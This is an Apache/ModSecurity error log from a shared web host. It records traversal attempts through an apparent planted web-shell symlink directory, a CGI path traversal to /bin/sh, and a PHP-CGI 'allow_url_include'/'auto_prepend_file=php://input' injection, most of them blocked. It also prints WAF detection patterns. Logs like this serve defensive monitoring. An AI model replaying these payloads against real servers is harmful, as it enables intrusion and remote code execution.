[Tue Oct 27 12:55:47.387639 2026] [security2:error] [pid 3268332:tid 3268332] [client 85.208.96.202:47624] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/dovecot/ssl.conf"] [unique_id "auDXk4S8cTYpaSI0hDQ7TAAAAB4"]
[Tue Oct 27 12:55:47.388181 2026] [security2:error] [pid 3268332:tid 3268332] [client 85.208.96.202:47624] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/dovecot/ssl.conf"] [unique_id "auDXk4S8cTYpaSI0hDQ7TAAAAB4"]
[Tue Oct 27 12:55:47.388591 2026] [security2:error] [pid 3268332:tid 3268332] [client 85.208.96.202:47624] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/dovecot/ssl.conf"] [unique_id "auDXk4S8cTYpaSI0hDQ7TAAAAB4"]
[Tue Oct 27 12:55:48.076770 2026] [ssl:error] [pid 3265904:tid 3265904] (70014)End of file found: [client 50.16.216.166:62924] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:56:03.961288 2026] [ssl:error] [pid 3261709:tid 3261709] (70014)End of file found: [client 34.225.24.180:45813] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:56:11.673847 2026] [core:crit] [pid 3268233:tid 3268233] (13)Permission denied: [client 144.76.19.24:55278] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/fd/' is executable
[Tue Oct 27 12:56:11.674004 2026] [core:crit] [pid 3268233:tid 3268233] (13)Permission denied: [client 144.76.19.24:55278] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/map_files/' is executable
[Tue Oct 27 12:56:11.674035 2026] [core:crit] [pid 3268233:tid 3268233] (13)Permission denied: [client 144.76.19.24:55278] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/fdinfo/' is executable
[Tue Oct 27 12:56:14.769212 2026] [core:crit] [pid 3268233:tid 3268233] (13)Permission denied: [client 144.76.19.24:55278] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/fd/' is executable
[Tue Oct 27 12:56:14.769286 2026] [core:crit] [pid 3268233:tid 3268233] (13)Permission denied: [client 144.76.19.24:55278] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/map_files/' is executable
[Tue Oct 27 12:56:14.769327 2026] [core:crit] [pid 3268233:tid 3268233] (13)Permission denied: [client 144.76.19.24:55278] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/fdinfo/' is executable
[Tue Oct 27 12:56:16.064415 2026] [ssl:error] [pid 3268332:tid 3268332] (5)Input/output error: [client 23.21.175.228:52695] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:56:18.047704 2026] [core:crit] [pid 3268394:tid 3268394] (13)Permission denied: [client 144.76.19.24:40654] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/fd/' is executable
[Tue Oct 27 12:56:18.047770 2026] [core:crit] [pid 3268394:tid 3268394] (13)Permission denied: [client 144.76.19.24:40654] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/map_files/' is executable
[Tue Oct 27 12:56:18.047801 2026] [core:crit] [pid 3268394:tid 3268394] (13)Permission denied: [client 144.76.19.24:40654] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/fdinfo/' is executable
[Tue Oct 27 12:56:19.740041 2026] [core:error] [pid 3268405:tid 3268405] (13)Permission denied: [client 85.208.96.210:56480] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/libata/sections/__kcrctab_gpl
[Tue Oct 27 12:56:20.023313 2026] [ssl:error] [pid 3265921:tid 3265921] (70014)End of file found: [client 52.44.174.136:14767] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:56:21.143287 2026] [core:crit] [pid 3268394:tid 3268394] (13)Permission denied: [client 144.76.19.24:40654] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/fd/' is executable
[Tue Oct 27 12:56:21.143342 2026] [core:crit] [pid 3268394:tid 3268394] (13)Permission denied: [client 144.76.19.24:40654] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/map_files/' is executable
[Tue Oct 27 12:56:21.143358 2026] [core:crit] [pid 3268394:tid 3268394] (13)Permission denied: [client 144.76.19.24:40654] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/fdinfo/' is executable
[Tue Oct 27 12:56:23.948570 2026] [ssl:error] [pid 3261709:tid 3261709] (70014)End of file found: [client 3.232.39.98:11200] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:56:27.696952 2026] [core:error] [pid 3269335:tid 3269335] (13)Permission denied: [client 144.76.19.24:59978] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/environ
[Tue Oct 27 12:56:27.986669 2026] [core:error] [pid 3268405:tid 3268405] (13)Permission denied: [client 54.225.181.161:42969] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/unbind
[Tue Oct 27 12:56:31.823005 2026] [ssl:error] [pid 3268394:tid 3268394] (70014)End of file found: [client 3.232.39.98:21476] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:56:39.960611 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 54.225.98.148:55971] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:56:56.259694 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 54.144.185.255:63694] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:56:58.189597 2026] [core:error] [pid 3268478:tid 3268478] (13)Permission denied: [client 85.208.96.198:42028] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_node/cpu_partial
[Tue Oct 27 12:57:12.010468 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 44.223.193.255:60656] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:57:23.824488 2026] [core:error] [pid 3265911:tid 3265911] (13)Permission denied: [client 3.217.171.106:17062] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:01/subsystem/drivers/ec/uevent
[Tue Oct 27 12:57:25.003960 2026] [core:error] [pid 3268403:tid 3268403] (13)Permission denied: [client 85.208.96.204:57382] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/sanity_checks
[Tue Oct 27 12:57:39.985840 2026] [ssl:error] [pid 3268233:tid 3268233] (70014)End of file found: [client 107.20.224.184:27872] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:57:43.800924 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 34.194.226.74:63958] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:57:47.861681 2026] [ssl:error] [pid 3265904:tid 3265904] (70014)End of file found: [client 3.215.221.125:1702] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:57:59.858040 2026] [ssl:error] [pid 3265904:tid 3265904] (70014)End of file found: [client 3.232.39.98:16987] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:58:07.965267 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 3.93.253.174:59802] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:58:15.943367 2026] [ssl:error] [pid 3268233:tid 3268233] (70014)End of file found: [client 52.200.142.199:5646] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:58:20.035303 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 44.194.139.149:40052] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:58:22.224152 2026] [security2:error] [pid 3265911:tid 3265911] [client 139.155.136.89:52398] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.parkeranders.com"] [uri "/"] [unique_id "auDYLrFFSBv6WYh0mSyr_gAAADE"]
[Tue Oct 27 12:58:23.958729 2026] [core:error] [pid 3269335:tid 3269335] (13)Permission denied: [client 100.25.120.246:62304] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:06/physical_node/driver/module/drivers/pci:virtio-pci/unbind
[Tue Oct 27 12:58:55.735608 2026] [ssl:error] [pid 3265921:tid 3265921] (70014)End of file found: [client 18.211.39.188:60370] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:59:07.892650 2026] [ssl:error] [pid 3265921:tid 3265921] (70014)End of file found: [client 3.81.253.213:20601] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:59:19.857503 2026] [core:error] [pid 3266317:tid 3266317] (13)Permission denied: [client 44.207.207.36:25848] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory7/node0/memory1/subsystem/drivers_probe
[Tue Oct 27 12:59:31.769226 2026] [ssl:error] [pid 3265904:tid 3265904] (70014)End of file found: [client 52.71.203.206:43719] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:59:41.766098 2026] [security2:error] [pid 3266317:tid 3266317] [client 195.178.110.103:16378] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "direc2.sherwinpinturas.com"] [uri "/subscription"] [unique_id "auDYfVpe8OyRxW4q_kxnQgAAAAM"]
[Tue Oct 27 12:59:41.766161 2026] [security2:error] [pid 3266317:tid 3266317] [client 195.178.110.103:16378] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "direc2.sherwinpinturas.com"] [uri "/subscription"] [unique_id "auDYfVpe8OyRxW4q_kxnQgAAAAM"]
[Tue Oct 27 12:59:51.745308 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 3.222.190.107:21378] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:00:02.202955 2026] [ssl:error] [pid 3265921:tid 3265921] (70014)End of file found: [client 185.191.171.19:45714] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:00:04.136248 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 54.85.126.86:19996] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:00:08.226361 2026] [core:error] [pid 3265911:tid 3265911] (13)Permission denied: [client 3.90.73.206:24436] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory7/node0/memory1/subsystem/uevent
[Tue Oct 27 13:00:24.065087 2026] [core:error] [pid 3268233:tid 3268233] (13)Permission denied: [client 3.229.164.203:57834] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/LNXCPU:01/physical_node/firmware_node/eject
[Tue Oct 27 13:00:25.416506 2026] [security2:error] [pid 3265911:tid 3265911] [client 185.191.171.3:54952] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/src/csf/interworx/plugin.ini"] [unique_id "auDYqbFFSBv6WYh0mSysAQAAADE"]
[Tue Oct 27 13:00:25.416914 2026] [security2:error] [pid 3265911:tid 3265911] [client 185.191.171.3:54952] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/src/csf/interworx/plugin.ini"] [unique_id "auDYqbFFSBv6WYh0mSysAQAAADE"]
[Tue Oct 27 13:00:25.417322 2026] [security2:error] [pid 3265911:tid 3265911] [client 185.191.171.3:54952] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/src/csf/interworx/plugin.ini"] [unique_id "auDYqbFFSBv6WYh0mSysAQAAADE"]
[Tue Oct 27 13:00:27.835155 2026] [ssl:error] [pid 3268405:tid 3268405] (70014)End of file found: [client 54.225.181.161:46471] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:01:03.846899 2026] [ssl:error] [pid 3265882:tid 3265882] (70014)End of file found: [client 34.224.9.144:54536] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:01:11.801596 2026] [ssl:error] [pid 3261709:tid 3261709] (70014)End of file found: [client 100.29.160.53:32795] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:01:20.037434 2026] [ssl:error] [pid 3268402:tid 3268402] (70014)End of file found: [client 44.220.2.97:1217] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:01:23.780618 2026] [core:error] [pid 3265882:tid 3265882] (13)Permission denied: [client 54.83.56.1:30741] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/module/drm/sections/__tracepoints_strings
[Tue Oct 27 13:01:39.686766 2026] [core:error] [pid 3265882:tid 3265882] (13)Permission denied: [client 34.202.88.37:51938] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/firmware_node/device:04/eject
[Tue Oct 27 13:01:51.782849 2026] [ssl:error] [pid 3265882:tid 3265882] (70014)End of file found: [client 44.215.210.112:22151] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:02:03.925001 2026] [ssl:error] [pid 3265882:tid 3265882] (70014)End of file found: [client 54.210.152.179:44738] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:02:11.966039 2026] [ssl:error] [pid 3265911:tid 3265911] (70014)End of file found: [client 18.204.152.114:54032] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:02:23.800017 2026] [core:error] [pid 3268394:tid 3268394] (13)Permission denied: [client 23.23.137.202:47545] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0303:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/remove_id
[Tue Oct 27 13:02:27.979263 2026] [ssl:error] [pid 3265911:tid 3265911] (70014)End of file found: [client 34.233.219.155:13273] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:02:31.800474 2026] [ssl:error] [pid 3265882:tid 3265882] (70014)End of file found: [client 34.195.248.30:47238] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:02:35.827893 2026] [ssl:error] [pid 3268394:tid 3268394] (5)Input/output error: [client 100.25.120.246:30121] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:02:43.810878 2026] [ssl:error] [pid 3265911:tid 3265911] (70014)End of file found: [client 184.72.95.195:64967] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:02:51.791854 2026] [ssl:error] [pid 3265882:tid 3265882] (70014)End of file found: [client 54.209.100.30:9611] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:02:55.909288 2026] [ssl:error] [pid 3268394:tid 3268394] (70014)End of file found: [client 54.157.84.74:39488] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:02:59.784205 2026] [ssl:error] [pid 3265911:tid 3265911] (70014)End of file found: [client 3.94.40.182:49530] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:03:04.057291 2026] [ssl:error] [pid 3265882:tid 3265882] (70014)End of file found: [client 34.224.9.144:17758] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:03:20.737204 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 85.208.96.208:38170] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:03:20.771762 2026] [ssl:error] [pid 3270272:tid 3270272] (70014)End of file found: [client 85.208.96.208:38186] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:03:21.042382 2026] [security2:error] [pid 3269335:tid 3269335] [client 43.157.62.101:55604] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auDZWQbf3KFtuIsifZNI_QAAAAA"]
[Tue Oct 27 13:03:21.043730 2026] [authz_core:error] [pid 3269335:tid 3269335] [client 43.157.62.101:55604] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 13:03:31.814545 2026] [core:error] [pid 3269335:tid 3269335] (13)Permission denied: [client 184.73.195.18:2435] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/resource0
[Tue Oct 27 13:03:36.043784 2026] [ssl:error] [pid 3265882:tid 3265882] (70014)End of file found: [client 34.206.249.188:3098] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:03:43.698534 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 23.23.212.212:42564] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:03:55.851770 2026] [ssl:error] [pid 3265882:tid 3265882] (70014)End of file found: [client 85.208.96.206:44984] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:04:11.856707 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 44.209.187.99:62293] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:04:19.469624 2026] [core:error] [pid 3265882:tid 3265882] [client 165.99.207.153:45312] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh)
[Tue Oct 27 13:04:20.054755 2026] [core:error] [pid 3268405:tid 3268405] [client 165.99.207.153:45322] AH10244: invalid URI path (/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh)
[Tue Oct 27 13:04:21.711712 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/hello.world"] [unique_id "auDZlVkSJh9YctB3ycD0ugAAACw"]
[Tue Oct 27 13:04:21.711824 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/hello.world"] [unique_id "auDZlVkSJh9YctB3ycD0ugAAACw"]
[Tue Oct 27 13:04:21.712504 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/hello.world"] [unique_id "auDZlVkSJh9YctB3ycD0ugAAACw"]
[Tue Oct 27 13:04:21.713445 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDZlVkSJh9YctB3ycD0ugAAACw"]
